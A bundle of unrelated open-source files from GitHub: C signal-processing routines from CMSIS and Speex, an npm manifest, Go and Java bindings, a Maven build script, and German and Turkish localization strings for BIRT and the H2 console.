q63_t sum; /* Accumulators */
uint32_t i = 0u, j; /* loop counters */
uint32_t inv = 0u; /* Reverse order flag */
uint32_t tot = 0u; /* Length */
/* The algorithm implementation is based on the lengths of the inputs. */
/* srcB is always made to slide across srcA. */
/* So srcBLen is always considered as shorter or equal to srcALen */
/* But CORR(x, y) is reverse of CORR(y, x) */
/* So, when srcBLen > srcALen, output pointer is made to point to the end of the output buffer */
/* and a varaible, inv is set to 1 */
/* If lengths are not equal then zero pad has to be done to make the two
* inputs of same length. But to improve the performance, we include zeroes
* in the output instead of zero padding either of the the inputs*/
/* If srcALen > srcBLen, (srcALen - srcBLen) zeroes has to included in the
* starting of the output buffer */
/* If srcALen < srcBLen, (srcALen - srcBLen) zeroes has to included in the
* ending of the output buffer */
/* Once the zero padding is done the remaining of the output is calcualted
* using convolution but with the shorter signal time shifted. */
/* Calculate the length of the remaining sequence */
tot = ((srcALen + srcBLen) - 2u);
if(srcALen > srcBLen)
{
/* Calculating the number of zeros to be padded to the output */
j = srcALen - srcBLen;
/* Initialise the pointer after zero padding */
pDst += j;
}
else if(srcALen < srcBLen)
{
/* Initialization to inputB pointer */
pIn1 = pSrcB;
/* Initialization to the end of inputA pointer */
pIn2 = pSrcA + (srcALen - 1u);
/* Initialisation of the pointer after zero padding */
pDst = pDst + tot;
/* Swapping the lengths */
j = srcALen;
srcALen = srcBLen;
srcBLen = j;
/* Setting the reverse flag */
inv = 1;
}
/* Loop to calculate convolution for output length number of times */
for (i = 0u; i <= tot; i++)
{
/* Initialize sum with zero to carry on MAC operations */
sum = 0;
/* Loop to perform MAC operations according to convolution equation */
for (j = 0u; j <= i; j++)
{
/* Check the array limitations */
if((((i - j) < srcBLen) && (j < srcALen)))
{
/* z[i] += x[i-j] * y[j] */
sum += ((q63_t) pIn1[j] * pIn2[-((int32_t) i - j)]);
}
}
/* Store the output in the destination buffer */
if(inv == 1)
*pDst-- = (q31_t) (sum >> 31u);
else
*pDst++ = (q31_t) (sum >> 31u);
}
#endif /* #ifndef ARM_MATH_CM0 */
}
/**
* @} end of Corr group
*/
|
{
"pile_set_name": "Github"
}
|
{
"_args": [
[
{
"raw": "babel-plugin-transform-async-generator-functions@^6.22.0",
"scope": null,
"escapedName": "babel-plugin-transform-async-generator-functions",
"name": "babel-plugin-transform-async-generator-functions",
"rawSpec": "^6.22.0",
"spec": ">=6.22.0 <7.0.0",
"type": "range"
},
"/Users/admin/Documents/codesmith/electron/my-electron-ex/lib/new-project-template/new-project/node_modules/babel-preset-stage-3"
]
],
"_from": "babel-plugin-transform-async-generator-functions@>=6.22.0 <7.0.0",
"_id": "babel-plugin-transform-async-generator-functions@6.22.0",
"_inCache": true,
"_location": "/babel-plugin-transform-async-generator-functions",
"_nodeVersion": "6.9.0",
"_npmOperationalInternal": {
"host": "packages-12-west.internal.npmjs.com",
"tmp": "tmp/babel-plugin-transform-async-generator-functions-6.22.0.tgz_1484872421876_0.9297375113237649"
},
"_npmUser": {
"name": "hzoo",
"email": "hi@henryzoo.com"
},
"_npmVersion": "3.10.10",
"_phantomChildren": {},
"_requested": {
"raw": "babel-plugin-transform-async-generator-functions@^6.22.0",
"scope": null,
"escapedName": "babel-plugin-transform-async-generator-functions",
"name": "babel-plugin-transform-async-generator-functions",
"rawSpec": "^6.22.0",
"spec": ">=6.22.0 <7.0.0",
"type": "range"
},
"_requiredBy": [
"/babel-preset-stage-3"
],
"_resolved": "https://registry.npmjs.org/babel-plugin-transform-async-generator-functions/-/babel-plugin-transform-async-generator-functions-6.22.0.tgz",
"_shasum": "a720a98153a7596f204099cd5409f4b3c05bab46",
"_shrinkwrap": null,
"_spec": "babel-plugin-transform-async-generator-functions@^6.22.0",
"_where": "/Users/admin/Documents/codesmith/electron/my-electron-ex/lib/new-project-template/new-project/node_modules/babel-preset-stage-3",
"dependencies": {
"babel-helper-remap-async-to-generator": "^6.22.0",
"babel-plugin-syntax-async-generators": "^6.5.0",
"babel-runtime": "^6.22.0"
},
"description": "Turn async generator functions into ES2015 generators",
"devDependencies": {
"babel-helper-plugin-test-runner": "^6.22.0"
},
"directories": {},
"dist": {
"shasum": "a720a98153a7596f204099cd5409f4b3c05bab46",
"tarball": "https://registry.npmjs.org/babel-plugin-transform-async-generator-functions/-/babel-plugin-transform-async-generator-functions-6.22.0.tgz"
},
"keywords": [
"babel-plugin"
],
"license": "MIT",
"main": "lib/index.js",
"maintainers": [
{
"name": "hzoo",
"email": "hi@henryzoo.com"
}
],
"name": "babel-plugin-transform-async-generator-functions",
"optionalDependencies": {},
"readme": "ERROR: No README data found!",
"repository": {
"type": "git",
"url": "https://github.com/babel/babel/tree/master/packages/babel-plugin-transform-async-generator-functions"
},
"scripts": {},
"version": "6.22.0"
}
|
{
"pile_set_name": "Github"
}
|
// Protocol Buffers for Go with Gadgets
//
// Copyright (c) 2013, The GoGo Authors. All rights reserved.
// http://github.com/gogo/protobuf
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
package castvalue
type MyWilson Wilson
|
{
"pile_set_name": "Github"
}
|
/* Copyright (C) 2005 Analog Devices */
/**
@file lpc_bfin.h
@author Jean-Marc Valin
@brief Functions for LPC (Linear Prediction Coefficients) analysis (Blackfin version)
*/
/*
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of the Xiph.org Foundation nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#define OVERRIDE_SPEEX_AUTOCORR
void _spx_autocorr(
const spx_word16_t *x, /* in: [0...n-1] samples x */
spx_word16_t *ac, /* out: [0...lag-1] ac values */
int lag,
int n
)
{
spx_word32_t d;
const spx_word16_t *xs;
int i, j;
spx_word32_t ac0=1;
spx_word32_t ac32[11], *ac32top;
int shift, ac_shift;
ac32top = ac32+lag-1;
int lag_1, N_lag;
int nshift;
lag_1 = lag-1;
N_lag = n-lag_1;
for (j=0;j<n;j++)
ac0 = ADD32(ac0,SHR32(MULT16_16(x[j],x[j]),8));
ac0 = ADD32(ac0,n);
shift = 8;
while (shift && ac0<0x40000000)
{
shift--;
ac0 <<= 1;
}
ac_shift = 18;
while (ac_shift && ac0<0x40000000)
{
ac_shift--;
ac0 <<= 1;
}
xs = x+lag-1;
nshift = -shift;
__asm__ __volatile__
(
"P2 = %0;\n\t"
"I0 = P2;\n\t" /* x in I0 */
"B0 = P2;\n\t" /* x in B0 */
"R0 = %3;\n\t" /* len in R0 */
"P3 = %3;\n\t" /* len in R0 */
"P4 = %4;\n\t" /* nb_pitch in R0 */
"R1 = R0 << 1;\n\t" /* number of bytes in x */
"L0 = R1;\n\t"
"P0 = %1;\n\t"
"P1 = %2;\n\t"
"B1 = P1;\n\t"
"R4 = %5;\n\t"
"L1 = 0;\n\t" /*Disable looping on I1*/
"r0 = [I0++];\n\t"
"R2 = 0;R3=0;"
"LOOP pitch%= LC0 = P4 >> 1;\n\t"
"LOOP_BEGIN pitch%=;\n\t"
"I1 = P0;\n\t"
"A1 = A0 = 0;\n\t"
"R1 = [I1++];\n\t"
"LOOP inner_prod%= LC1 = P3 >> 1;\n\t"
"LOOP_BEGIN inner_prod%=;\n\t"
"A1 += R0.L*R1.H, A0 += R0.L*R1.L (IS) || R1.L = W[I1++];\n\t"
"A1 += R0.H*R1.L, A0 += R0.H*R1.H (IS) || R1.H = W[I1++] || R0 = [I0++];\n\t"
"LOOP_END inner_prod%=;\n\t"
"A0 = ASHIFT A0 by R4.L;\n\t"
"A1 = ASHIFT A1 by R4.L;\n\t"
"R2 = A0, R3 = A1;\n\t"
"[P1--] = R2;\n\t"
"[P1--] = R3;\n\t"
"P0 += 4;\n\t"
"LOOP_END pitch%=;\n\t"
: : "m" (xs), "m" (x), "m" (ac32top), "m" (N_lag), "m" (lag_1), "m" (nshift)
: "A0", "A1", "P0", "P1", "P2", "P3", "P4", "R0", "R1", "R2", "R3", "R4", "I0", "I1", "L0", "L1", "B0", "B1", "memory"
);
d=0;
for (j=0;j<n;j++)
{
d = ADD32(d,SHR32(MULT16_16(x[j],x[j]), shift));
}
ac32[0] = d;
for (i=0;i<lag;i++)
{
d=0;
for (j=i;j<lag_1;j++)
{
d = ADD32(d,SHR32(MULT16_16(x[j],x[j-i]), shift));
}
if (i)
ac32[i] += d;
ac[i] = SHR32(ac32[i], ac_shift);
}
}
|
{
"pile_set_name": "Github"
}
|
(defmaven 'io.tesla.polyglot/tesla-polyglot "0.0.1-SNAPSHOT"
:model-version "4.0.0"
:parent ['io.tesla/tesla "4" :relative-path "../pom.xml"]
:name "Polyglot Tesla :: Aggregator"
:packaging "pom"
:properties {:teslaVersion "3.1.0" :sisuInjectVersion "0.0.0.M2a"}
:modules ["tesla-polyglot-common"
"tesla-polyglot-atom"
"tesla-polyglot-ruby"
"tesla-polyglot-groovy"
"tesla-polyglot-yaml"
"tesla-polyglot-clojure"
"tesla-polyglot-scala"
"tesla-polyglot-cli"
"tesla-polyglot-maven-plugin"]
:dependency-management [
:dependencies [
['org.eclipse.sisu/org.eclipse.sisu.inject "${sisuInjectVersion}"]
['org.eclipse.sisu/org.eclipse.sisu.plexus "${sisuInjectVersion}"]
['org.apache.maven/maven-model-builder "3.1.0"]
['org.apache.maven/maven-embedder "3.1.0"]]
:test-dependencies [
['junit "4.11"]
]
]
:build [
:plugins [
['org.codehaus.plexus/plexus-component-metadata "1.5.4"
:executions [
[:id "default" :goals ["generate-metadata" "generate-test-metadata"]]]]]])
|
{
"pile_set_name": "Github"
}
|
//
// This file is auto-generated. Please don't modify it!
//
package org.opencv.ml;
import org.opencv.core.Mat;
import org.opencv.ml.KNearest;
import org.opencv.ml.StatModel;
// C++: class KNearest
/**
* The class implements K-Nearest Neighbors model
*
* SEE: REF: ml_intro_knn
*/
public class KNearest extends StatModel {
protected KNearest(long addr) { super(addr); }
// internal usage only
public static KNearest __fromPtr__(long addr) { return new KNearest(addr); }
// C++: enum Types
public static final int
BRUTE_FORCE = 1,
KDTREE = 2;
//
// C++: static Ptr_KNearest cv::ml::KNearest::create()
//
/**
* Creates the empty model
*
* The static method creates empty %KNearest classifier. It should be then trained using StatModel::train method.
* @return automatically generated
*/
public static KNearest create() {
return KNearest.__fromPtr__(create_0());
}
//
// C++: static Ptr_KNearest cv::ml::KNearest::load(String filepath)
//
/**
* Loads and creates a serialized knearest from a file
*
* Use KNearest::save to serialize and store an KNearest to disk.
* Load the KNearest from this file again, by calling this function with the path to the file.
*
* @param filepath path to serialized KNearest
* @return automatically generated
*/
public static KNearest load(String filepath) {
return KNearest.__fromPtr__(load_0(filepath));
}
//
// C++: bool cv::ml::KNearest::getIsClassifier()
//
/**
* SEE: setIsClassifier
* @return automatically generated
*/
public boolean getIsClassifier() {
return getIsClassifier_0(nativeObj);
}
//
// C++: float cv::ml::KNearest::findNearest(Mat samples, int k, Mat& results, Mat& neighborResponses = Mat(), Mat& dist = Mat())
//
/**
* Finds the neighbors and predicts responses for input vectors.
*
* @param samples Input samples stored by rows. It is a single-precision floating-point matrix of
* {@code <number_of_samples> * k} size.
* @param k Number of used nearest neighbors. Should be greater than 1.
* @param results Vector with results of prediction (regression or classification) for each input
* sample. It is a single-precision floating-point vector with {@code <number_of_samples>} elements.
* @param neighborResponses Optional output values for corresponding neighbors. It is a single-
* precision floating-point matrix of {@code <number_of_samples> * k} size.
* @param dist Optional output distances from the input vectors to the corresponding neighbors. It
* is a single-precision floating-point matrix of {@code <number_of_samples> * k} size.
*
* For each input vector (a row of the matrix samples), the method finds the k nearest neighbors.
* In case of regression, the predicted result is a mean value of the particular vector's neighbor
* responses. In case of classification, the class is determined by voting.
*
* For each input vector, the neighbors are sorted by their distances to the vector.
*
* In case of C++ interface you can use output pointers to empty matrices and the function will
* allocate memory itself.
*
* If only a single input vector is passed, all output matrices are optional and the predicted
* value is returned by the method.
*
* The function is parallelized with the TBB library.
* @return automatically generated
*/
public float findNearest(Mat samples, int k, Mat results, Mat neighborResponses, Mat dist) {
return findNearest_0(nativeObj, samples.nativeObj, k, results.nativeObj, neighborResponses.nativeObj, dist.nativeObj);
}
/**
* Finds the neighbors and predicts responses for input vectors.
*
* @param samples Input samples stored by rows. It is a single-precision floating-point matrix of
* {@code <number_of_samples> * k} size.
* @param k Number of used nearest neighbors. Should be greater than 1.
* @param results Vector with results of prediction (regression or classification) for each input
* sample. It is a single-precision floating-point vector with {@code <number_of_samples>} elements.
* @param neighborResponses Optional output values for corresponding neighbors. It is a single-
* precision floating-point matrix of {@code <number_of_samples> * k} size.
* is a single-precision floating-point matrix of {@code <number_of_samples> * k} size.
*
* For each input vector (a row of the matrix samples), the method finds the k nearest neighbors.
* In case of regression, the predicted result is a mean value of the particular vector's neighbor
* responses. In case of classification, the class is determined by voting.
*
* For each input vector, the neighbors are sorted by their distances to the vector.
*
* In case of C++ interface you can use output pointers to empty matrices and the function will
* allocate memory itself.
*
* If only a single input vector is passed, all output matrices are optional and the predicted
* value is returned by the method.
*
* The function is parallelized with the TBB library.
* @return automatically generated
*/
public float findNearest(Mat samples, int k, Mat results, Mat neighborResponses) {
return findNearest_1(nativeObj, samples.nativeObj, k, results.nativeObj, neighborResponses.nativeObj);
}
/**
* Finds the neighbors and predicts responses for input vectors.
*
* @param samples Input samples stored by rows. It is a single-precision floating-point matrix of
* {@code <number_of_samples> * k} size.
* @param k Number of used nearest neighbors. Should be greater than 1.
* @param results Vector with results of prediction (regression or classification) for each input
* sample. It is a single-precision floating-point vector with {@code <number_of_samples>} elements.
* precision floating-point matrix of {@code <number_of_samples> * k} size.
* is a single-precision floating-point matrix of {@code <number_of_samples> * k} size.
*
* For each input vector (a row of the matrix samples), the method finds the k nearest neighbors.
* In case of regression, the predicted result is a mean value of the particular vector's neighbor
* responses. In case of classification, the class is determined by voting.
*
* For each input vector, the neighbors are sorted by their distances to the vector.
*
* In case of C++ interface you can use output pointers to empty matrices and the function will
* allocate memory itself.
*
* If only a single input vector is passed, all output matrices are optional and the predicted
* value is returned by the method.
*
* The function is parallelized with the TBB library.
* @return automatically generated
*/
public float findNearest(Mat samples, int k, Mat results) {
return findNearest_2(nativeObj, samples.nativeObj, k, results.nativeObj);
}
//
// C++: int cv::ml::KNearest::getAlgorithmType()
//
/**
* SEE: setAlgorithmType
* @return automatically generated
*/
public int getAlgorithmType() {
return getAlgorithmType_0(nativeObj);
}
//
// C++: int cv::ml::KNearest::getDefaultK()
//
/**
* SEE: setDefaultK
* @return automatically generated
*/
public int getDefaultK() {
return getDefaultK_0(nativeObj);
}
//
// C++: int cv::ml::KNearest::getEmax()
//
/**
* SEE: setEmax
* @return automatically generated
*/
public int getEmax() {
return getEmax_0(nativeObj);
}
//
// C++: void cv::ml::KNearest::setAlgorithmType(int val)
//
/**
* getAlgorithmType SEE: getAlgorithmType
* @param val automatically generated
*/
public void setAlgorithmType(int val) {
setAlgorithmType_0(nativeObj, val);
}
//
// C++: void cv::ml::KNearest::setDefaultK(int val)
//
/**
* getDefaultK SEE: getDefaultK
* @param val automatically generated
*/
public void setDefaultK(int val) {
setDefaultK_0(nativeObj, val);
}
//
// C++: void cv::ml::KNearest::setEmax(int val)
//
/**
* getEmax SEE: getEmax
* @param val automatically generated
*/
public void setEmax(int val) {
setEmax_0(nativeObj, val);
}
//
// C++: void cv::ml::KNearest::setIsClassifier(bool val)
//
/**
* getIsClassifier SEE: getIsClassifier
* @param val automatically generated
*/
public void setIsClassifier(boolean val) {
setIsClassifier_0(nativeObj, val);
}
@Override
protected void finalize() throws Throwable {
delete(nativeObj);
}
// C++: static Ptr_KNearest cv::ml::KNearest::create()
private static native long create_0();
// C++: static Ptr_KNearest cv::ml::KNearest::load(String filepath)
private static native long load_0(String filepath);
// C++: bool cv::ml::KNearest::getIsClassifier()
private static native boolean getIsClassifier_0(long nativeObj);
// C++: float cv::ml::KNearest::findNearest(Mat samples, int k, Mat& results, Mat& neighborResponses = Mat(), Mat& dist = Mat())
private static native float findNearest_0(long nativeObj, long samples_nativeObj, int k, long results_nativeObj, long neighborResponses_nativeObj, long dist_nativeObj);
private static native float findNearest_1(long nativeObj, long samples_nativeObj, int k, long results_nativeObj, long neighborResponses_nativeObj);
private static native float findNearest_2(long nativeObj, long samples_nativeObj, int k, long results_nativeObj);
// C++: int cv::ml::KNearest::getAlgorithmType()
private static native int getAlgorithmType_0(long nativeObj);
// C++: int cv::ml::KNearest::getDefaultK()
private static native int getDefaultK_0(long nativeObj);
// C++: int cv::ml::KNearest::getEmax()
private static native int getEmax_0(long nativeObj);
// C++: void cv::ml::KNearest::setAlgorithmType(int val)
private static native void setAlgorithmType_0(long nativeObj, int val);
// C++: void cv::ml::KNearest::setDefaultK(int val)
private static native void setDefaultK_0(long nativeObj, int val);
// C++: void cv::ml::KNearest::setEmax(int val)
private static native void setEmax_0(long nativeObj, int val);
// C++: void cv::ml::KNearest::setIsClassifier(bool val)
private static native void setIsClassifier_0(long nativeObj, boolean val);
// native support for java finalize()
private static native void delete(long nativeObj);
}
|
{
"pile_set_name": "Github"
}
|
# Localized messages for the Design Engine. Messages here give names
# of items in the Report Object Model, and the text of Design Engine
# errors.
###########################################################
#for test only
Error.Msg001=En: Es ist ein {0} im {1}.
###########################################################
Error.OutputFormatNotSupported=Das Ausgabeformat {0} wird nicht unterstützt.
Error.NullOutputFormat=OutputFormat für Renderoption ist Null.
Error.InvalidParameter=Einige der erforderlichen Parameterwerte sind nicht angegeben bzw. die angegebenen Werte entsprechen einem inkompatiblen Datentyp.
Error.InvalidGroupParameter=Auswertung der Parametergruppe mit dem Namen "{0}" durch Berichts-Engine fehlgeschlagen.
Error.ParameterTypeIsInvalid=Der Parametertyp "{0}" wird als "{1}" erwartet, nicht als "{2}".
Error.ParamValidationFailure=Die Validierung des Parameters "{0}" ist fehlgeschlagen.
Error.ParameterValueIsNull=Der erforderliche Parameter {0} wurde nicht festgelegt.
Error.ParameterValueIsBlank=Erforderlicher Parameter {0} ist leer.
Error.ParamScriptValidationError=Validierungsfehler bei Skriptquelle zu Parameter "{0}".
Error.ParameterGroupIsNotFoundByGroupname=Parametergruppe wurde durch Namen "{0}" nicht gefunden.
Error.ParameterInvalidGroupLevel=Die Ebenenanzahl der Gruppe "{0}" stimmt nicht mit der angegebenen Anzahl überein.
Error.InvalidDesignFile=Die Designdatei {0} ist fehlerhaft und kann nicht ausgeführt werden.
Error.DesignFileNotFound=Die Designdatei {0} kann nicht gefunden werden.
Error.CannotCreateExtensionInstance=Berichts-Engine kann {0}-Emitter nicht initialisieren. Vergewissern Sie sich, dass die erforderlichen Bibliotheken für diesen Emitter installiert sind.
Error.MissingComputedColumnExpression=Die Definition für die berechnete Spalte {0} fehlt.
Error.ParameterInGroupIsnotScalar=Die Parameter in der Parametergruppe "{0}" müssen Skalargrößen-Parameter sein.
Error.ParameterEvaluationError=Die Auswertung der Parametergruppe "{0}" ist fehlgeschlagen.
Error.InvalidEmitterID = EmitterID {0} für Renderoption ist ungültig.
###########################################################
Error.ErrorsOnPage=Beim Erstellen des Berichts sind Fehler aufgetreten:
Error.Error=Fehler
Error.ScriptFileLoadError=Scriptdatei {0} kann nicht geladen werden.
Error.ScriptEvaluationError=Fehler beim Auswerten des Skripts "{0}":\n{1}.
Error.TextualItemProcessingError=Bei der Verarbeitung des Textelements {0} sind Probleme aufgetreten.
Error.TableItemProcessingError=Beim Verarbeiten der Tabelle {0} sind Probleme aufgetreten.
Error.ExtendedItemGenerationError=Beim Erstellen des erweiterten Elements {0} sind Probleme aufgetreten.
Error.ExtendedItemRenderingError=Beim Rendern {0} des erweiterten Elements {1} sind Probleme aufgetreten.
Error.GridItemProcessingError=Beim Verarbeiten des Rasters {0} sind Probleme aufgetreten.
Error.ImageItemProcessingError=Beim Verarbeiten des Bildes {0} sind Probleme aufgetreten.
Error.MissingImageFileError=Bilddatei fehlt.
Error.InvalidImageSourceError=Ungültiger Datenquellentyp für Bild.
Error.InvalidDatabaseImageError=Ungültiges Datenbank-Image. Ausdruck für Image lautet "{0}".
Error.EmbeddedExpressionError=Beim Evaluieren des eingebetteten Ausdrucks "{0}" ist ein Fehler aufgetreten.
Error.EmbeddedImageError=Beim Verarbeiten des eingebetteten Bildes ist ein Fehler aufgetreten.
Error.HTMLImageError=Beim Verarbeiten des in den HTML-Tag '<img>' eingebetteten Bildes ist ein Fehler aufgetreten.
Error.UndefinedDatasetError=Datensatz "{0}" ist im Bericht nicht definiert.
Error.InvalidExpressionError=Ausdruck "{0}" ist ungültig.
Error.ListProcessingError=Bei der Verarbeitung des Listenelements {0} sind Probleme aufgetreten.
Error.ErrorOnReportPage=Folgende Objekte weisen Fehler auf:
Error.ReportErrorMessage = {0} {1}:
Error.ReportErrorMessageWithID = {0} (id = {1}):
Error.ReportErrorID = {0} ({1} Mal)
Error.ReportErrorDetail = Detail:
Error.JarNotFoundError = JAR {0} nicht gefunden.
Error.ScriptClassCastError = Schnittstelle {1} wird nicht von Klasse {0} implementiert.
Error.ScriptClassNotFoundError = Klasse {0} nicht gefunden.
Error.ScriptClassIllegalAccessError = IllegalAccessException beim Laden der Klasse {0}.
Error.ScriptClassInstantiationError = Klasse {0} konnte nicht instanziiert werden. Stellen Sie sicher, dass es sich nicht um eine Schnittstelle oder eine abstrakte Klasse handelt.
Error.UnhandledScriptError = Unverarbeitete Ausnahme beim Ausführen des Skripts.
###########################################################
Error.PageNotFoundError = Seite {0} wurde nicht gefunden.
Error.PageNumberRangeError = Ungültiger Seitenbereich: {0}.
Error.PageHintLoadingError = Seitenhinweis kann nicht geladen werden.
Error.PagesLoadingError = Seiten {0} können nicht geladen werden.
Error.InvalidGroupError = Ungültige Gruppe: {0}.
Error.InvalidExtensionError = Ungültige Erweiterungs-ID: {0} und ungültiges Format: {1}.
Error.InvalidColumnIndexError = Ungültiger Spaltenindex.
Error.InvalidInstanceIDError = Ungültige Instanz-ID: {0}.
Error.InvalidBookmarkError = Ungültiges Lesezeichen: {0}.
Error.ExpressionEvaluationError = Das Ergebnis des folgenden Sichtbarkeitsausdrucks ist kein zulässiger boolescher Wert: {0}.
Error.BookmarkNotFoundError = Lesezeichen nicht gefunden: {0}.
Error.DateError = Datum:{0}.
Error.CubePositionError = Fehler beim Abrufen der Quaderposition.
Error.SubqueryCreateError = Unterabfrage kann nur in einer anderen (Unter-)Abfrage erstellt werden.
Error.BindDataRetrivingError = Fehler beim Abrufen der Bindungsdaten.
Error.DataSourceError = Datenquelle des Datensatzes darf nicht Null sein.
Error.UnsupportedQueryDefinitionError = Nicht unterstützte Abfragedefinition: {0}.
Error.ReportQueryLoadingError = Beim Laden der Berichtabfrage ist ein Fehler aufgetreten, Daten zur Erstellung des Berichts können nicht abgerufen werden.
Error.ReportQueryLoadingError2 = Berichtabfrage kann nicht geladen werden: {0}. Fehler beim Generieren des Berichtsdokuments für das Berichtselement mit ID {1}.
Error.ExtentionIDMissingError = Fehlende Erweiterungs-ID in Datenquellendefinition: {0}
Error.DataExportionError = Daten konnten nicht nach Instanz-ID exportiert werden:{0}.
Error.UnsupportedDocumentVersionError = Nicht unterstützte Dokumentversion: {0}.
Error.ResultsetIteratorError = Ergebnisiteration muss in gültige Zeile verschoben werden.
Error.ReportDesignNotFoundError = Berichtdesign in Berichtdokument nicht gefunden: {0}.
Error.PreparedQueryNotFoundError = Vorbereitete Abfrage {0} nicht gefunden.
Error.IncorrectParentResultSetError = Falsches übergeordnetes Ergebnis für Unterabfrage: {0}.
Error.UnsupportedQueryTypeError = Nicht unterstützter Abfragetyp: {0}.
Error.QueryNotBuiltError = Fehler beim Erstellen der Abfrage für Element: {0}.
Error.RenderTaskNotFinishedError = Rendern noch nicht abgeschlossen.
Error.RenderOptionError = Zum Rendern eines Berichts müssen Renderoptionen angegeben werden.
Error.ReportArchiveError = Berichtarchiv ist bei der Ausführung eines Berichts nicht angegeben.
Error.ReportDocNameNotSpecifiedError = Berichtdokumentname ist bei der Ausführung eines Berichts nicht angegeben.
Error.ReportRunError = Fehler bei der Ausführung des Berichts.
Error.ReportDocmentOpenError = Berichtdokument konnte nicht geöffnet werden.
Error.ReportArchiveOpenError = Berichtarchiv kann nicht geöffnet werden.
Error.SkipError = Fehler beim Ignorieren.
Error.ResultsetExtractError = Ergebnis nicht gefunden.
Error.FailedToInitializeEmitter = Emitter konnte nicht initialisiert werden.
###########################################################
PDFCreator = BIRT-Berichtengine {0} mit iText {1}.
###########################################################
Error.FlashObjectNotSupported = Berichtobjekte aus Flash-Objekten werden in diesem Berichtformat nicht unterstützt.
Error.ReportItemNotSupported = Das aktuelle Berichtobjekt wird in diesem Berichtformat nicht unterstützt.
Error.ResourceUnreachable = Die Ressource dieses Berichtobjekts ist nicht erreichbar.
Error.UpdateUserAgent = Aktivieren Sie die Flash-Unterstützung, oder laden Sie eine neuere Version des Adobe Readers herunter, um Flash-Inhalte in PDF-Dateien anzuzeigen.
###########################################################
Error.ReportRunnableNotSet = Auszuführender Bericht wurde nicht festgelegt.
Error.FailedToLoadTOCTree = TOC-Struktur konnte nicht geladen werden.
Error.ExceptionOnFetchingBookmarks = Fehler beim Abrufen der Lesezeichen.
Error.FailedToSaveDesign = Fehler beim Speichern des Designs.
Error.ExceptionOnCopyingArchives = Ausnahme beim Kopieren der Archive.
Error.UnsupportedCoreStreamVersion = Nicht unterstützte Core-Stream-Version: {0}.
Error.UnsupportedEngineExtension = Nicht unterstützte Engine-Erweiterung {0}.
Error.FailToCreateDataEngine = Daten-Engine kann nicht erstellt werden.
Error.FailedToCreateTOC = TOC konnte nicht erstellt werden.
Error.UnsupportedExprssionType = Unerwarteter Ausdruckstyp.
Error.UnknownContentVersion = Unbekannte Inhaltsversion.
Error.UnknownFieldID = Unbekannte Feld-ID: {0}.
Error.ResourceNotAccessible = Zugriff auf {0} nicht möglich.
Error.ERROR_WITH_STATUS=Fehler in Dokument: {0}.
###########################################################
Error.ElementID = Element-ID
###########################################################
Message.TaskCancel = Die Aufgabe wird abgebrochen.
|
{
"pile_set_name": "Github"
}
|
.translator=Rıdvan Ağar
a.help=Yardım
a.language=Türkçe
a.lynxNotSupported=Web tarayıcınız HTML Frames'i desteklemiyor. Frames (ve Javascript) desteği gerekli.
a.password=Şifre
a.remoteConnectionsDisabled=Başka bilgisayarlardan, veri tabanına bağlanma izni henüz ayarlanmamış ('webAllowOthers').
a.title=H2 Konsolu
a.tools=Araçlar
a.user=Kullanıcı adı
admin.executing=Aktif
admin.ip=IP
admin.lastAccess=Son bağlantı
admin.lastQuery=Son komut
admin.no=#no
admin.notConnected=#not connected
admin.url=URL
admin.yes=#yes
adminAllow=İzin verilen bağlantılar
adminConnection=Bağlantı güvenliği
adminHttp=Şifrelenmemiş HTTP bağlantıları
adminHttps=Şifrelenmiş HTTP bağlantıları
adminLocal=Sadece yerel bağlantılara izin ver
adminLogin=Yönetim girişi
adminLoginCancel=İptal et
adminLoginOk=Tamam
adminLogout=Bitir
adminOthers=Başka bilgisayarlardan, veri tabanına bağlanma izni ver
adminPort=Port
adminPortWeb=Web-Server Port
adminRestart=Değişiklikler veri tabanı hizmetçisinin yeniden başlatılmasıyla etkinlik kazanacak.
adminSave=Kaydet
adminSessions=Aktif bağlantılar
adminShutdown=Kapat
